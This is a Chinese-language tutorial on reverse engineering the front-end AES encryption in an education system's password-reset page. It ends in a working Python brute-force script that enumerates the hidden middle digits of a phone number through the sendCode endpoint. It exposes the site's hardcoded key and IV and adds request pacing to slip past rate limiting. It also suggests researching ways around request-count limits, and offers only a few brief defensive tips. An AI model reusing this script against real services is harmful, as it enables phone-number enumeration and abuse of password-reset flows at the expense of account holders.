对于某前端数据加密方式的逆向过程
字数 1020 2025-08-22 12:23:36
前端数据加密方式逆向分析教学文档
一、背景与目标
本教学文档基于对某教育系统密码重置功能中前端数据加密方式的逆向分析过程。目标是通过JavaScript逆向工程,理解其加密机制,并将其转换为Python实现,最终实现手机号爆破功能。
二、加密发现
- 在密码重置页面,输入手机号发送验证码时,发现请求数据中的手机号字段被加密
- 初步观察加密格式类似Base64,但直接解码失败
- 加密字段名为
cellphone
三、加密分析过程
1. 定位加密代码
在浏览器开发者工具中分析JavaScript代码,发现关键加密代码位于:
retrievePassword/encrypt.js
2. 加密流程分析
加密过程主要涉及以下方法:
encryptAES()- 主加密函数getAesString()- AES加密核心函数randomString()- 生成随机字符串
加密调用链
encryptAES() → getAesString() → randomString() → 最终加密输出
3. 加密参数分析
通过断点调试,确定加密函数的三个关键参数:
-
data参数:
- 由两部分组成:
- 64位随机字符串(通过
randomString()生成) - 拼接实际手机号(用户输入)
- 64位随机字符串(通过
- 示例格式:
"随机字符串86-138xxxx2909"
- 由两部分组成:
-
key0参数:
- AES密钥,固定值:
'rjBFAaHsNkKAhpoi' - 编码为UTF-8格式
- AES密钥,固定值:
-
iv0参数:
- 初始化向量,16位随机字符串(通过
randomString()生成)
- 初始化向量,16位随机字符串(通过
4. 加密细节
- 加密算法:AES-CBC模式
- 使用PKCS7填充
- 最终结果经过Base64编码
四、Python实现
1. 加密函数实现
from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
def get_aes_string(seq):
# 固定参数
str64 = "pSKzskzbmmrsbrWBeCNShHWPFS8kpwfn3NJenwcRp34wzmBm4RY8JmN3xcAC7Bnm"
str16 = "3RGekMFSj4zbyAKY".encode('utf-8')
key = 'rjBFAaHsNkKAhpoi'.encode('utf-8')
# 构造加密数据:固定随机字符串 + 手机号
data_with_random = f"{str64}86-138{seq}2909"
# AES加密
cipher = AES.new(key, AES.MODE_CBC, str16)
encrypted_data = cipher.encrypt(pad(data_with_random.encode('utf-8'), AES.block_size))
# Base64编码
return b64encode(encrypted_data).decode('utf-8')
2. 手机号爆破实现
import time
import requests
import urllib3
urllib3.disable_warnings()
def generate_sequence(start=0, end=5):
"""生成4位手机号中间数字序列"""
for i in range(start, end + 1):
yield f"{i:04d}"
headers = {
'authority': 'xxx.xxx.xxx.xxx',
'accept': 'application/json',
'content-type': 'application/json',
'cookie': 'route=7e11b4209903de33fa3ab7eeb3991bd8;',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36',
}
json_data = {
'accountId': '',
'loginNo': 'xxxxxxxx',
'cellphone': '', # 动态填充
'email': '',
'hideCellphone': '138****2909',
'hideEmail': '',
'captchaId': '4861601744408988',
'captcha': 'goct',
'code': '',
'type': 'cellphone',
'password': '',
'confirmPassword': '',
'sign': 'ff07582f37e94776adf3224dcd517c5f',
'appealSign': '7f6ff627358b40e79aa21c2ea8da36d8',
'isAppealFlag': '0',
}
for num_str in generate_sequence():
print(f"尝试手机号中间四位: {num_str}")
cellphone = get_aes_string(num_str)
json_data['cellphone'] = cellphone
# 请求间隔5秒,避免触发防护
time.sleep(5)
response = requests.post(
'https://xxx.xxx.xxx.xxx/sendCode',
headers=headers,
json=json_data,
verify=False,
)
print(response.text)
3. 注意事项
- 请求限制:同一组参数请求5次后会报错,可能需要动态调整其他参数
- 随机字符串:实际应用中应动态生成,本例为简化写死
- 请求间隔:添加5秒间隔避免触发频率限制
五、总结与扩展
-
逆向技巧:
- 通过浏览器开发者工具定位关键加密代码
- 使用断点调试分析加密参数构成
- 关注加密函数的调用链和数据流
-
加密分析:
- 识别加密算法类型(AES-CBC)
- 确定密钥和IV的生成方式
- 理解数据拼接和编码过程
-
防护建议:
- 增加动态密钥生成机制
- 实现请求频率限制和验证码校验
- 避免在前端暴露固定加密参数
-
扩展应用:
- 类似方法可用于分析其他前端加密场景
- 可结合自动化工具实现更高效的爆破
- 可研究如何绕过请求次数限制
本教学完整展示了从前端加密发现到Python实现的完整逆向过程,适用于Web安全研究和合法渗透测试场景。